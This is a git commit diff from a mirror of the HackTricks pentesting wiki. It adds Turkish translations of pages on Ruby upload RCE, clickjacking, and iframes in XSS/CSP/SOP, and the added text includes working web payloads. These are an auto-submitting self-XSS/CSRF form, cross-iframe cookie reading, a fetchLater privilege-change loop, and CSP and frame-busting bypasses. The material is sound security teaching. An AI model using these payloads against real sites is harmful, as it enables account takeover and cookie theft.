mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
		
							parent
							
								
									46d51a6176
								
							
						
					
					
						commit
						9272255617
					
				@ -435,6 +435,7 @@
 | 
			
		||||
  - [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
 | 
			
		||||
  - [Python](network-services-pentesting/pentesting-web/python.md)
 | 
			
		||||
  - [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
 | 
			
		||||
  - [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
 | 
			
		||||
  - [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
 | 
			
		||||
  - [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
 | 
			
		||||
  - [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
 | 
			
		||||
 | 
			
		||||
@ -0,0 +1,9 @@
 | 
			
		||||
# Ruby Tricks
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Dosya yükleme ile RCE
 | 
			
		||||
 | 
			
		||||
[bu makalede](https://www.offsec.com/blog/cve-2024-46986/) açıklandığı gibi, `.rb` dosyasını `config/initializers/` gibi hassas dizinlere yüklemek, Ruby on Rails uygulamalarında uzaktan kod yürütmeye (RCE) yol açabilir.
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
@ -8,11 +8,11 @@ Bir clickjacking saldırısında, bir **kullanıcı**, bir web sayfasında ya **
 | 
			
		||||
 | 
			
		||||
### Formları Önceden Doldurma Hilesi
 | 
			
		||||
 | 
			
		||||
Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
 | 
			
		||||
Bazen bir sayfa yüklendiğinde **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
 | 
			
		||||
 | 
			
		||||
### Sürükle ve Bırak ile Form Doldurma
 | 
			
		||||
 | 
			
		||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bilgisi olan e-posta veya şifre gibi) doğrudan yazmasını istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
 | 
			
		||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
 | 
			
		||||
 | 
			
		||||
### Temel Yük
 | 
			
		||||
```css
 | 
			
		||||
@ -89,21 +89,21 @@ background: #F00;
 | 
			
		||||
```
 | 
			
		||||
### XSS + Clickjacking
 | 
			
		||||
 | 
			
		||||
Eğer bir **XSS saldırısını tetiklemek için kullanıcının bir öğeye tıklamasını gerektiren** bir durum tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
 | 
			
		||||
Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
 | 
			
		||||
Örnek:\
 | 
			
		||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
 | 
			
		||||
Bir saldırgan, bu sayfaya yönelik bir **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **Gönder** butonuna tıklamaya kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
 | 
			
		||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** içeren sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
 | 
			
		||||
Bir saldırgan, bu sayfaya **XSS yükü** ile **formu** **önceden doldurarak** bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
 | 
			
		||||
 | 
			
		||||
### DoubleClickjacking
 | 
			
		||||
 | 
			
		||||
İlk olarak [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak çift tıklama sırasında kurban sayfasını yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
 | 
			
		||||
Öncelikle [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak kurban sayfasını çift tıklama sırasında yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
 | 
			
		||||
 | 
			
		||||
Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
 | 
			
		||||
 | 
			
		||||
Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) bulunabilir.
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
 | 
			
		||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlarken clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
 | 
			
		||||
 | 
			
		||||
## Clickjacking'i Azaltma Stratejileri
 | 
			
		||||
 | 
			
		||||
@ -119,14 +119,14 @@ Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickja
 | 
			
		||||
Ancak, bu çerçeve kırıcı betikler aşılabilir:
 | 
			
		||||
 | 
			
		||||
- **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
 | 
			
		||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
 | 
			
		||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in en üst pencere olup olmadığını doğrulamasını engeller, örneğin,
 | 
			
		||||
```html
 | 
			
		||||
<iframe
 | 
			
		||||
id="victim_website"
 | 
			
		||||
src="https://victim-website.com"
 | 
			
		||||
sandbox="allow-forms allow-scripts"></iframe>
 | 
			
		||||
```
 | 
			
		||||
`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içindeki eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
 | 
			
		||||
`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
 | 
			
		||||
 | 
			
		||||
### Sunucu Tarafı Savunmaları
 | 
			
		||||
 | 
			
		||||
@ -141,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
 | 
			
		||||
 | 
			
		||||
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
 | 
			
		||||
 | 
			
		||||
**CSP'deki `frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
 | 
			
		||||
CSP'deki **`frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
 | 
			
		||||
 | 
			
		||||
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
 | 
			
		||||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
 | 
			
		||||
@ -153,7 +153,7 @@ sandbox="allow-forms allow-scripts"></iframe>
 | 
			
		||||
 | 
			
		||||
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
 | 
			
		||||
### İçerik Güvenlik Politikası (CSP) `child-src` ve `frame-src` ile
 | 
			
		||||
 | 
			
		||||
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
 | 
			
		||||
 | 
			
		||||
@ -173,7 +173,7 @@ Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gele
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
 | 
			
		||||
```
 | 
			
		||||
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
 | 
			
		||||
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
 | 
			
		||||
 | 
			
		||||
**Kullanım Notları:**
 | 
			
		||||
 | 
			
		||||
@ -189,9 +189,9 @@ if (top !== self) {
 | 
			
		||||
top.location = self.location
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
#### Anti-CSRF Tokenlarının Kullanımı
 | 
			
		||||
#### Anti-CSRF Token'ların Kullanımı
 | 
			
		||||
 | 
			
		||||
- **Token Doğrulama:** Web uygulamalarında, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olmak için anti-CSRF tokenları kullanın ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
 | 
			
		||||
- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olun ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -1,12 +1,12 @@
 | 
			
		||||
# Iframes in XSS, CSP and SOP
 | 
			
		||||
# XSS, CSP ve SOP'da Iframe'ler
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Iframes in XSS
 | 
			
		||||
## XSS'de Iframe'ler
 | 
			
		||||
 | 
			
		||||
Bir iframed sayfanın içeriğini belirtmenin 3 yolu vardır:
 | 
			
		||||
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
 | 
			
		||||
 | 
			
		||||
- Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
 | 
			
		||||
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
 | 
			
		||||
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
 | 
			
		||||
- İçeriği belirten `srcdoc` aracılığıyla
 | 
			
		||||
 | 
			
		||||
@ -45,15 +45,15 @@ var secret = "child secret"
 | 
			
		||||
alert(parent.secret)
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilen) orijinal penceredeki secret'a erişebilir**.\
 | 
			
		||||
if4'ün `null` kökenine sahip olduğu not edilmelidir.
 | 
			
		||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
 | 
			
		||||
if4'ün `null` kökenine sahip olduğu dikkate alın.
 | 
			
		||||
 | 
			
		||||
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğini not edin.
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
 | 
			
		||||
 | 
			
		||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliğini kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
 | 
			
		||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
 | 
			
		||||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
 | 
			
		||||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
 | 
			
		||||
```html
 | 
			
		||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
Not edin ki **önceki CSP yalnızca inline script'in çalışmasına izin veriyor**.\
 | 
			
		||||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, ancak yalnızca `if1` ana gizli veriye erişebilecek**.
 | 
			
		||||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnızca `if1` ana gizli veriye erişebilecek**.
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -103,7 +103,7 @@ return "<script>alert(document.cookie)</script>"
 | 
			
		||||
if __name__ == "__main__":
 | 
			
		||||
app.run()
 | 
			
		||||
```
 | 
			
		||||
### Diğer Yükler doğal ortamda bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
 | 
			
		||||
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
 | 
			
		||||
```html
 | 
			
		||||
<!-- This one requires the data: scheme to be allowed -->
 | 
			
		||||
<iframe
 | 
			
		||||
@ -130,10 +130,57 @@ Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
 | 
			
		||||
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
 | 
			
		||||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
 | 
			
		||||
 | 
			
		||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir.
 | 
			
		||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
 | 
			
		||||
```html
 | 
			
		||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 | 
			
		||||
```
 | 
			
		||||
### Credentialless iframes
 | 
			
		||||
 | 
			
		||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
 | 
			
		||||
 | 
			
		||||
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
 | 
			
		||||
```javascript
 | 
			
		||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
 | 
			
		||||
alert(window.top[1].document.cookie);
 | 
			
		||||
```
 | 
			
		||||
- Exploit örneği: Self-XSS + CSRF
 | 
			
		||||
 | 
			
		||||
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
 | 
			
		||||
 | 
			
		||||
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
 | 
			
		||||
```html
 | 
			
		||||
<html>
 | 
			
		||||
<body>
 | 
			
		||||
<form action="http://victim.domain/login" method="POST">
 | 
			
		||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
 | 
			
		||||
<input type="hidden" name="password" value="Super_s@fe_password" />
 | 
			
		||||
<input type="submit" value="Submit request" />
 | 
			
		||||
</form>
 | 
			
		||||
<script>
 | 
			
		||||
document.forms[0].submit();
 | 
			
		||||
</script>
 | 
			
		||||
</body>
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
 | 
			
		||||
 | 
			
		||||
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
 | 
			
		||||
```javascript
 | 
			
		||||
alert(window.top[1].document.cookie);
 | 
			
		||||
```
 | 
			
		||||
### fetchLater Saldırısı
 | 
			
		||||
 | 
			
		||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
 | 
			
		||||
 | 
			
		||||
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
 | 
			
		||||
```javascript
 | 
			
		||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
 | 
			
		||||
const minute = 60000
 | 
			
		||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
 | 
			
		||||
for (let timeout of arr)
 | 
			
		||||
fetchLater(req,{activateAfter: timeout})
 | 
			
		||||
```
 | 
			
		||||
## SOP'de Iframe'ler
 | 
			
		||||
 | 
			
		||||
Aşağıdaki sayfaları kontrol edin:
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user